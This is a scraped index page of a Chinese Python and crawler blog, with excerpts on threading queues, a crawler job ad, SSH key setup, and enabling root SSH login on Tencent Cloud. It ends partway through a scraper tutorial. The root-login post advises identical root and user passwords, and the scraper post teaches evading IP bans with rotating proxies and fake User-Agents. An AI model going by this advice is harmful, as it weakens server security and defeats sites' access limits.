                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="comment"># -*- coding: UTF-8 -*-</span></span><br><span class="line"></span><br><span class="line">import Queue</span><br><span class="line">import threading</span><br><span class="line">import time</span><br><span class="line"></span><br><span class="line">exitFlag = 0</span><br><span class="line"></span><br><span class="line">class myThread (threading.Thread):</span><br><span class="line">    def __init__(self, threadID, name, q):</span><br><span class="line">        threading.Thread.__init__(self)</span><br><span class="line">        self.threadID = threadID</span><br><span class="line">        self.name = name</span><br><span class="line">        self.q = q</span><br><span class="line">    def <span class="builtin-name">run</span>(self):</span><br><span class="line">        <span class="builtin-name">print</span> <span class="string">"Starting "</span> + self.name</span><br><span class="line">        process_data(self.name, self.q)</span><br><span class="line">        <span class="builtin-name">print</span> <span class="string">"Exiting "</span> + self.name</span><br><span class="line"></span><br><span class="line">def process_data(threadName, q):</span><br><span class="line">    <span class="keyword">while</span> <span class="keyword">not</span> exitFlag:</span><br><span class="line">        queueLock.acquire()</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> workQueue.empty():</span><br><span class="line">            data = q.<span class="builtin-name">get</span>()</span><br><span class="line">            queueLock.release()</span><br><span class="line">            <span class="builtin-name">print</span> <span class="string">"%s processing %s"</span> % (threadName, data)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            queueLock.release()</span><br><span class="line">        time.sleep(1)</span><br><span class="line"></span><br><span class="line">threadList = [<span class="string">"Thread-1"</span>, <span class="string">"Thread-2"</span>, <span class="string">"Thread-3"</span>]</span><br><span class="line">nameList = [<span class="string">"One"</span>, <span class="string">"Two"</span>, <span class="string">"Three"</span>, <span class="string">"Four"</span>, <span class="string">"Five"</span>]</span><br><span class="line">queueLock = threading.Lock()</span><br><span class="line">workQueue = Queue.Queue(10)</span><br><span class="line">threads = []</span><br><span class="line">threadID = 1</span><br><span class="line"></span><br><span class="line"><span class="comment"># 创建新线程</span></span><br><span class="line"><span class="keyword">for</span> tName <span class="keyword">in</span> threadList:</span><br><span class="line">    thread = myThread(threadID, tName, workQueue)</span><br><span class="line">    thread.start()</span><br><span class="line">    threads.append(thread)</span><br><span class="line">    threadID += 1</span><br><span class="line"></span><br><span class="line"><span class="comment"># 填充队列</span></span><br><span class="line">queueLock.acquire()</span><br><span class="line"><span class="keyword">for</span> word <span class="keyword">in</span> nameList:</span><br><span class="line">    workQueue.put(word)</span><br><span class="line">queueLock.release()</span><br><span class="line"></span><br><span class="line"><span class="comment"># 等待队列清空</span></span><br><span class="line"><span class="keyword">while</span> <span class="keyword">not</span> workQueue.empty():</span><br><span class="line">    pass</span><br><span class="line"></span><br><span class="line"><span class="comment"># 通知线程是时候退出</span></span><br><span class="line">exitFlag = 1</span><br><span class="line"></span><br><span class="line"><span class="comment"># 等待所有线程完成</span></span><br><span class="line"><span class="keyword">for</span> t <span class="keyword">in</span> threads:</span><br><span class="line">    t.join()</span><br><span class="line"><span class="builtin-name">print</span> <span class="string">"Exiting Main Thread"</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>运行结果：</p>
                  <figure class="highlight autohotkey">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">Starting <span class="keyword">Thread</span>-<span class="number">1</span></span><br><span class="line">Starting <span class="keyword">Thread</span>-<span class="number">2</span></span><br><span class="line">Starting <span class="keyword">Thread</span>-<span class="number">3</span></span><br><span class="line"><span class="keyword">Thread</span>-<span class="number">3</span> processing One</span><br><span class="line"><span class="keyword">Thread</span>-<span class="number">1</span> processing Two</span><br><span class="line"><span class="keyword">Thread</span>-<span class="number">2</span> processing Three</span><br><span class="line"><span class="keyword">Thread</span>-<span class="number">3</span> processing Four</span><br><span class="line"><span class="keyword">Thread</span>-<span class="number">2</span> processing Five</span><br><span class="line">Exiting <span class="keyword">Thread</span>-<span class="number">2</span></span><br><span class="line">Exiting <span class="keyword">Thread</span>-<span class="number">3</span></span><br><span class="line">Exiting <span class="keyword">Thread</span>-<span class="number">1</span></span><br><span class="line">Exiting Main <span class="keyword">Thread</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>上面的例子用了FIFO队列。当然你也可以换成其他类型的队列。</p>
                  <h2 id="参考文章"><a href="#参考文章" class="headerlink" title="参考文章"></a>参考文章</h2>
                  <ol>
                    <li>
                      <p><a href="http://bbs.51cto.com/thread-1349105-1.html" target="_blank" rel="noopener">http://bbs.51cto.com/thread-1349105-1.html</a></p>
                    </li>
                    <li>
                      <p><a href="http://www.runoob.com/python/python-multithreading.html" target="_blank" rel="noopener">http://www.runoob.com/python/python-multithreading.html</a></p>
                    </li>
                  </ol>
                  </p>
                </div>
              </div>
              <div class="post-meta">
                <span class="post-meta-item">
                  <span class="post-meta-item-icon">
                    <i class="far fa-user"></i>
                  </span>
                  <span class="post-meta-item-text">作者</span>
                  <span><a href="/authors/崔庆才" class="author" itemprop="url" rel="index">崔庆才</a></span>
                </span>
                <span class="post-meta-item">
                  <span class="post-meta-item-icon">
                    <i class="far fa-calendar"></i>
                  </span>
                  <span class="post-meta-item-text">发表于</span>
                  <time title="创建时间：2016-11-03 19:34:26" itemprop="dateCreated datePublished" datetime="2016-11-03T19:34:26+08:00">2016-11-03</time>
                </span>
                <span id="/3325.html" class="post-meta-item leancloud_visitors" data-flag-title="Python爬虫进阶五之多线程的用法" title="阅读次数">
                  <span class="post-meta-item-icon">
                    <i class="fa fa-eye"></i>
                  </span>
                  <span class="post-meta-item-text">阅读次数：</span>
                  <span class="leancloud-visitors-count"></span>
                </span>
                <span class="post-meta-item" title="本文字数">
                  <span class="post-meta-item-icon">
                    <i class="far fa-file-word"></i>
                  </span>
                  <span class="post-meta-item-text">本文字数：</span>
                  <span>7.5k</span>
                </span>
                <span class="post-meta-item" title="阅读时长">
                  <span class="post-meta-item-icon">
                    <i class="far fa-clock"></i>
                  </span>
                  <span class="post-meta-item-text">阅读时长 &asymp;</span>
                  <span>7 分钟</span>
                </span>
              </div>
            </article>
            <article itemscope itemtype="http://schema.org/Article" class="post-block index" lang="zh-CN">
              <link itemprop="mainEntityOfPage" href="https://cuiqingcai.com/3323.html">
              <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
                <meta itemprop="image" content="/images/avatar.png">
                <meta itemprop="name" content="崔庆才">
                <meta itemprop="description" content="崔庆才的个人站点，记录生活的瞬间，分享学习的心得。">
              </span>
              <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
                <meta itemprop="name" content="静觅">
              </span>
              <header class="post-header">
                <h2 class="post-title" itemprop="name headline">
                  <a class="label"> 职位推荐 <i class="label-arrow"></i>
                  </a>
                  <a href="/3323.html" class="post-title-link" itemprop="url">百观科技 - 爬虫数据工程师</a>
                </h2>
              </header>
              <div class="post-body" itemprop="articleBody">
                <div class="thumb">
                  <img itemprop="contentUrl" class="random">
                </div>
                <div class="excerpt">
                  <p>
                  <p>Hi，爬虫学习得还不错吧？ 做了这么久的爬虫，想不想找一份充分施展才华的工作？博主最近去参观了一下百观科技，在北京，感觉非常不错，公司人也超级好！不过博主现在还在念书，现在还不能去啦~ 在这里将职位推荐给大家，如果你对爬虫非常感兴趣，那么强烈推荐你来！待遇丰厚着呢~</p>
                  <h2 id="关于百观"><a href="#关于百观" class="headerlink" title="关于百观"></a>关于百观</h2>
                  <p>百观Lab是一个年轻开放，硅谷风格的金融数据技术公司，致力于给全球投资机构抓取、分析、可视化非常规数据的产品。我们的客户将是管理规模一亿美金以上的国际投资机构，涉及的投资决策上千万美金。百观已获得真格基金、金沙江合伙人等百万美金天使投资。 <a href="http://baiguanlab.com" target="_blank" rel="noopener">公司官网</a> <a href="https://36kr.com/p/5050764.html" target="_blank" rel="noopener">相关新闻</a></p>
                  <h2 id="公司待遇"><a href="#公司待遇" class="headerlink" title="公司待遇"></a>公司待遇</h2>
                  <p>为了做出最棒的产品，公司需要同样充满好奇心，技艺高超的小伙伴。我们提供：</p>
                  <ul>
                    <li>BAT同等级待遇</li>
                    <li>股权激励</li>
                    <li>超棒的办公环境，紧邻雍和宫五道营 # 我们也不喜欢西二旗</li>
                    <li>弹性工作制 # 我们也不相信996</li>
                    <li>有趣的同事</li>
                    <li>和百观技术顾问团交流学习的机会(百度机器学习T9, 前豌豆荚资深架构师，斯坦福AI博士等)</li>
                    <li>MacBook Pro，零食饮料，免费午餐</li>
                    <li>免费口罩，北京嘛…</li>
                  </ul>
                  <h2 id="职位"><a href="#职位" class="headerlink" title="职位"></a>职位</h2>
                  <h3 id="数据工程师"><a href="#数据工程师" class="headerlink" title="数据工程师"></a>数据工程师</h3>
                  <h4 id="职责："><a href="#职责：" class="headerlink" title="职责："></a>职责：</h4>
                  <ul>
                    <li>探索并实践前沿爬虫技术与存储技术</li>
                    <li>分布式爬虫系统的开发，维护，与优化</li>
                  </ul>
                  <h4 id="要求："><a href="#要求：" class="headerlink" title="要求："></a>要求：</h4>
                  <ul>
                    <li>热爱技术，对解决具有挑战性问题富有激情，学习能力和求知欲强</li>
                    <li>具备强悍的编码能力，内功扎实</li>
                    <li>熟悉linux开发环境，熟悉python，毕竟life is short</li>
                    <li>有过分布式爬虫开发经验，熟悉多线程、网络通信、代理池等相关概念；熟悉scrapy+redis/pyspider/mongodb者优先</li>
                    <li>可提供Github/OSChina/StackOverflow/V2EX/知乎/csdn等id的优先</li>
                    <li>一线大学计算机或相关专业</li>
                    <li>阅读英文技术文档无障碍</li>
                  </ul>
                  <h2 id="简历投递"><a href="#简历投递" class="headerlink" title="简历投递"></a>简历投递</h2>
                  <p>简历投递至 ted@baiguanlab.com 微信联系 cdfcdf789 有意向的赶快发简历加微信啦~</p>
                  </p>
                </div>
              </div>
              <div class="post-meta">
                <span class="post-meta-item">
                  <span class="post-meta-item-icon">
                    <i class="far fa-user"></i>
                  </span>
                  <span class="post-meta-item-text">作者</span>
                  <span><a href="/authors/崔庆才" class="author" itemprop="url" rel="index">崔庆才</a></span>
                </span>
                <span class="post-meta-item">
                  <span class="post-meta-item-icon">
                    <i class="far fa-calendar"></i>
                  </span>
                  <span class="post-meta-item-text">发表于</span>
                  <time title="创建时间：2016-11-03 15:09:11" itemprop="dateCreated datePublished" datetime="2016-11-03T15:09:11+08:00">2016-11-03</time>
                </span>
                <span id="/3323.html" class="post-meta-item leancloud_visitors" data-flag-title="百观科技 - 爬虫数据工程师" title="阅读次数">
                  <span class="post-meta-item-icon">
                    <i class="fa fa-eye"></i>
                  </span>
                  <span class="post-meta-item-text">阅读次数：</span>
                  <span class="leancloud-visitors-count"></span>
                </span>
                <span class="post-meta-item" title="本文字数">
                  <span class="post-meta-item-icon">
                    <i class="far fa-file-word"></i>
                  </span>
                  <span class="post-meta-item-text">本文字数：</span>
                  <span>749</span>
                </span>
                <span class="post-meta-item" title="阅读时长">
                  <span class="post-meta-item-icon">
                    <i class="far fa-clock"></i>
                  </span>
                  <span class="post-meta-item-text">阅读时长 &asymp;</span>
                  <span>1 分钟</span>
                </span>
              </div>
            </article>
            <article itemscope itemtype="http://schema.org/Article" class="post-block index" lang="zh-CN">
              <link itemprop="mainEntityOfPage" href="https://cuiqingcai.com/3296.html">
              <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
                <meta itemprop="image" content="/images/avatar.png">
                <meta itemprop="name" content="崔庆才">
                <meta itemprop="description" content="崔庆才的个人站点，记录生活的瞬间，分享学习的心得。">
              </span>
              <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
                <meta itemprop="name" content="静觅">
              </span>
              <header class="post-header">
                <h2 class="post-title" itemprop="name headline">
                  <a class="label"> Other <i class="label-arrow"></i>
                  </a>
                  <a href="/3296.html" class="post-title-link" itemprop="url">腾讯云ubuntu账号更改为root登录的方法</a>
                </h2>
              </header>
              <div class="post-body" itemprop="articleBody">
                <div class="thumb">
                  <img itemprop="contentUrl" class="random">
                </div>
                <div class="excerpt">
                  <p>
                  <h2 id="需求分析"><a href="#需求分析" class="headerlink" title="需求分析"></a>需求分析</h2>
                  <p>有需求才有动力！ 腾讯云有个比较坑的地方，Ubuntu的机子必须要用ubuntu账号来登录，给我的统一管理带来了很大的麻烦。 在这里我想把它的账号名称改成root来统一登录。</p>
                  <h2 id="步骤"><a href="#步骤" class="headerlink" title="步骤"></a>步骤</h2>
                  <p>首先用ubuntu账号登录主机。 然后输入</p>
                  <figure class="highlight ebnf">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="attribute">sudo passwd root</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>在这里会首先提示你输入ubuntu用户的账号，然后输入新设置的root用户的账号。在这里一共要输入三次，不过建议root密码和ubuntu密码都一样啦。 <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ20161031-1@2x-e1477899685193.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ20161031-1@2x-e1477899685193-1024x655.png" alt="QQ20161031-1@2x"></a> 然后修改 /etc/ssh/sshd_config</p>
                  <figure class="highlight awk">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">sudo vi <span class="regexp">/etc/</span>ssh<span class="regexp">/sshd_config</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>把 PermitRootLogin 修改为 yes <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ20161031-2@2x-e1477899851747.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ20161031-2@2x-e1477899851747-1024x650.png" alt="QQ20161031-2@2x"></a> wq 保存 接下来你就可以使用 root 登录了 当然你还可以根据下面这篇文章配置免密码登录。 <a href="http://cuiqingcai.com/3291.html">免密码登录</a></p>
                  <h2 id="结语"><a href="#结语" class="headerlink" title="结语"></a>结语</h2>
                  <p>本文章介绍了腾讯云Ubuntu系列主机配置root登录的方法，希望对大家有帮助。</p>
                  </p>
                </div>
              </div>
              <div class="post-meta">
                <span class="post-meta-item">
                  <span class="post-meta-item-icon">
                    <i class="far fa-user"></i>
                  </span>
                  <span class="post-meta-item-text">作者</span>
                  <span><a href="/authors/崔庆才" class="author" itemprop="url" rel="index">崔庆才</a></span>
                </span>
                <span class="post-meta-item">
                  <span class="post-meta-item-icon">
                    <i class="far fa-calendar"></i>
                  </span>
                  <span class="post-meta-item-text">发表于</span>
                  <time title="创建时间：2016-10-31 15:46:37" itemprop="dateCreated datePublished" datetime="2016-10-31T15:46:37+08:00">2016-10-31</time>
                </span>
                <span id="/3296.html" class="post-meta-item leancloud_visitors" data-flag-title="腾讯云ubuntu账号更改为root登录的方法" title="阅读次数">
                  <span class="post-meta-item-icon">
                    <i class="fa fa-eye"></i>
                  </span>
                  <span class="post-meta-item-text">阅读次数：</span>
                  <span class="leancloud-visitors-count"></span>
                </span>
                <span class="post-meta-item" title="本文字数">
                  <span class="post-meta-item-icon">
                    <i class="far fa-file-word"></i>
                  </span>
                  <span class="post-meta-item-text">本文字数：</span>
                  <span>364</span>
                </span>
                <span class="post-meta-item" title="阅读时长">
                  <span class="post-meta-item-icon">
                    <i class="far fa-clock"></i>
                  </span>
                  <span class="post-meta-item-text">阅读时长 &asymp;</span>
                  <span>1 分钟</span>
                </span>
              </div>
            </article>
            <article itemscope itemtype="http://schema.org/Article" class="post-block index" lang="zh-CN">
              <link itemprop="mainEntityOfPage" href="https://cuiqingcai.com/3291.html">
              <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
                <meta itemprop="image" content="/images/avatar.png">
                <meta itemprop="name" content="崔庆才">
                <meta itemprop="description" content="崔庆才的个人站点，记录生活的瞬间，分享学习的心得。">
              </span>
              <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
                <meta itemprop="name" content="静觅">
              </span>
              <header class="post-header">
                <h2 class="post-title" itemprop="name headline">
                  <a class="label"> Other <i class="label-arrow"></i>
                  </a>
                  <a href="/3291.html" class="post-title-link" itemprop="url">配置SSH免密码登录远程服务器</a>
                </h2>
              </header>
              <div class="post-body" itemprop="articleBody">
                <div class="thumb">
                  <img itemprop="contentUrl" class="random">
                </div>
                <div class="excerpt">
                  <p>
                  <h2 id="需求分析"><a href="#需求分析" class="headerlink" title="需求分析"></a>需求分析</h2>
                  <p>有需求才有动力！ 最近有不少服务器，但是管理起来还需要输入密码，而且有的还不一样，太麻烦了，所以就利用SSH配置免密码登录服务器。</p>
                  <h2 id="流程"><a href="#流程" class="headerlink" title="流程"></a>流程</h2>
                  <h3 id="生成秘钥"><a href="#生成秘钥" class="headerlink" title="生成秘钥"></a>生成秘钥</h3>
                  <p>首先在自己的电脑上生成SSH秘钥。</p>
                  <figure class="highlight excel">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">ssh-keygen –<span class="built_in">t</span> rsa –P</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>直接回车生成秘钥对。 可以看到在 ~/ 目录找到一个 .ssh 的目录，有两个文件。 id_rsa 和 id_rsa.pub 其中一个是私钥，一个是公钥。 服务器上利用同样的方法创建，保证有一个 .ssh 目录。</p>
                  <h3 id="复制秘钥"><a href="#复制秘钥" class="headerlink" title="复制秘钥"></a>复制秘钥</h3>
                  <p>登录服务器后，在 .ssh 目录新建一个文件，名字叫做 authorized_keys 将刚才自己电脑上生成的公钥内容复制进去，保存。 然后进行权限设置</p>
                  <figure class="highlight angelscript">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">sudo chmod <span class="number">600</span> authorized_keys</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p><a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ20161031-0@2x-e1477897864553.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ20161031-0@2x-e1477897864553-1024x652.png" alt=""></a> 如此一来，配置就完成了。</p>
                  <h2 id="验证"><a href="#验证" class="headerlink" title="验证"></a>验证</h2>
                  <p>断开服务器，重新连接ssh，发现就可以直接进入了。</p>
                  </p>
                </div>
              </div>
              <div class="post-meta">
                <span class="post-meta-item">
                  <span class="post-meta-item-icon">
                    <i class="far fa-user"></i>
                  </span>
                  <span class="post-meta-item-text">作者</span>
                  <span><a href="/authors/崔庆才" class="author" itemprop="url" rel="index">崔庆才</a></span>
                </span>
                <span class="post-meta-item">
                  <span class="post-meta-item-icon">
                    <i class="far fa-calendar"></i>
                  </span>
                  <span class="post-meta-item-text">发表于</span>
                  <time title="创建时间：2016-10-31 15:21:46" itemprop="dateCreated datePublished" datetime="2016-10-31T15:21:46+08:00">2016-10-31</time>
                </span>
                <span id="/3291.html" class="post-meta-item leancloud_visitors" data-flag-title="配置SSH免密码登录远程服务器" title="阅读次数">
                  <span class="post-meta-item-icon">
                    <i class="fa fa-eye"></i>
                  </span>
                  <span class="post-meta-item-text">阅读次数：</span>
                  <span class="leancloud-visitors-count"></span>
                </span>
                <span class="post-meta-item" title="本文字数">
                  <span class="post-meta-item-icon">
                    <i class="far fa-file-word"></i>
                  </span>
                  <span class="post-meta-item-text">本文字数：</span>
                  <span>345</span>
                </span>
                <span class="post-meta-item" title="阅读时长">
                  <span class="post-meta-item-icon">
                    <i class="far fa-clock"></i>
                  </span>
                  <span class="post-meta-item-text">阅读时长 &asymp;</span>
                  <span>1 分钟</span>
                </span>
              </div>
            </article>
            <article itemscope itemtype="http://schema.org/Article" class="post-block index" lang="zh-CN">
              <link itemprop="mainEntityOfPage" href="https://cuiqingcai.com/3256.html">
              <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
                <meta itemprop="image" content="/images/avatar.png">
                <meta itemprop="name" content="崔庆才">
                <meta itemprop="description" content="崔庆才的个人站点，记录生活的瞬间，分享学习的心得。">
              </span>
              <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
                <meta itemprop="name" content="静觅">
              </span>
              <header class="post-header">
                <h2 class="post-title" itemprop="name headline">
                  <a class="label"> Python <i class="label-arrow"></i>
                  </a>
                  <a href="/3256.html" class="post-title-link" itemprop="url">小白爬虫第二弹之健壮的小爬虫</a>
                </h2>
              </header>
              <div class="post-body" itemprop="articleBody">
                <div class="thumb">
                  <img itemprop="contentUrl" class="random">
                </div>
                <div class="excerpt">
                  <p>
                  <p><a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ图片20161022193315.gif" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ图片20161022193315.gif" alt="QQ图片20161022193315"></a> 我又来装逼了！上次教大家写了一个下载www.mzitu.com全站图片的小爬虫练手、不知道大家消化得怎么样？ 大家在使用的时候会发现，跑着跑着 就断掉了！报错了啊！丢失连接之类的。幸幸苦苦的抓了半天又得从头来，心累啊！ 这就是网站的反爬虫在起作用了，一个IP访问次数过于频繁就先将这个IP加入黑名单，过一会儿再放出来。虽然不影响正常使用但是对于爬虫来说很致命啊！因为爬虫会报错退出啊！然后我们又得重来，那么多妹子得重来多少次啊！（而且小爬虫不会识别哪些是爬取过的页面，哪些是没爬去的内容，会从头再来啊！很伤人啊！关于这一块儿我下一篇博文来教大家怎么办，这一篇我们还是先集中精力应付反爬虫吧！ 关于反爬虫的定义：建议大家去看看这个blog: <a href="http://blog.csdn.net/u013886628/article/details/51820221" target="_blank" rel="noopener">点我</a> <strong>一般来说我们会遇到网站反爬虫策略下面几点：</strong></p>
                  <ol>
                    <li>限制IP访问频率，超过频率就断开连接。（这种方法解决办法就是，降低爬虫的速度在每个请求前面加上time.sleep；或者不停的更换代理IP，这样就绕过反爬虫机制啦！）</li>
                    <li>后台对访问进行统计，如果单个userAgent访问超过阈值，予以封锁。（效果出奇的棒！不过误伤也超级大，一般站点不会使用，不过我们也考虑进去</li>
                    <li>还有针对于cookies的 （这个解决办法更简单，一般网站不会用）</li>
                  </ol>
                  <p>我们今天就来针对1、2两点来写个下载模块、别害怕真的很简单。 首先，这次我们需要用到Python中的 re模块来提取内容，很简单的用法，但是也需要各位了解一下：<a href="http://www.runoob.com/python3/python3-reg-expressions.html" target="_blank" rel="noopener">点我查看正则表达式基本教程</a> 首先照常我们需要下面这些模块： requests re（Python的正则表达式模块） random（一个随机选择的模块） 都是上一篇文章装过的哦！re 和random是Python自带的模块，不需要安装ヾ§ ￣▽)ゞ2333333 首先按照惯例我们导入模块：</p>
                  <figure class="highlight elm">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">import</span> random</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>我们的思路是先找一个发布代理IP的网站（百度一下很多的！）从这个网站爬取出代理IP 用来访问网页；当本地IP失效时，开始使用代理IP，代理IP失败六次后取消代理IP。下面我们开整ヽ(●-`Д´-)ノ 首先我们写一个基本的请求网页并返回response的函数:</p>
                  <figure class="highlight haskell">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> download:</span></span><br><span class="line"><span class="class"></span></span><br><span class="line"><span class="class">    def get(<span class="title">self</span>, <span class="title">url</span>):</span></span><br><span class="line"><span class="class">        return requests.get(<span class="title">url</span>)</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>哈哈 简单吧！ 这只是基本的，上面说过啦，很多网站都都会拒绝非浏览器的请求的、怎么区分的呢？就是你发起的请求是否包含正常的User-Agent 这玩意儿长啥样儿？就下面这样（如果不一样 请按一下F5） <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161029205637.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161029205637.png" alt="QQ截图20161029205637"></a> <strong>requests</strong>的请求的User-Agent 大概是这样 python-requests/2.3.0 CPython/2.6.6 Windows/7 这个不是正常的User-Agent、所以我们得自己造一个来欺骗服务器（requests又一个headers参数能帮助我们伪装成浏览器哦！不知道的小哥儿 一定是没有看官方文档！这样很不好诶！o(一︿一+)o），让他以为我们是真的浏览器。 上面讲过有的网站会限制相同的User-Agent的访问频率，那我们就给他随机来一个User-Agent好了！去百度一下User-Agent，我找到了下面这些：</p>
                  <figure class="highlight accesslog">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="string">"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"</span>,</span><br><span class="line"> <span class="string">"Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11"</span>,</span><br><span class="line"> <span class="string">"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6"</span>,</span><br><span class="line"> <span class="string">"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6"</span>,</span><br><span class="line"> <span class="string">"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/19.77.34.5 Safari/537.1"</span>,</span><br><span class="line"> <span class="string">"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5"</span>,</span><br><span class="line"> <span class="string">"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5"</span>,</span><br><span class="line"> <span class="string">"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3"</span>,</span><br><span class="line"> <span class="string">"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3"</span>,</span><br><span class="line"> <span class="string">"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3"</span>,</span><br><span class="line"> <span class="string">"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3"</span>,</span><br><span class="line"> <span class="string">"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3"</span>,</span><br><span class="line"> <span class="string">"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3"</span>,</span><br><span class="line"> 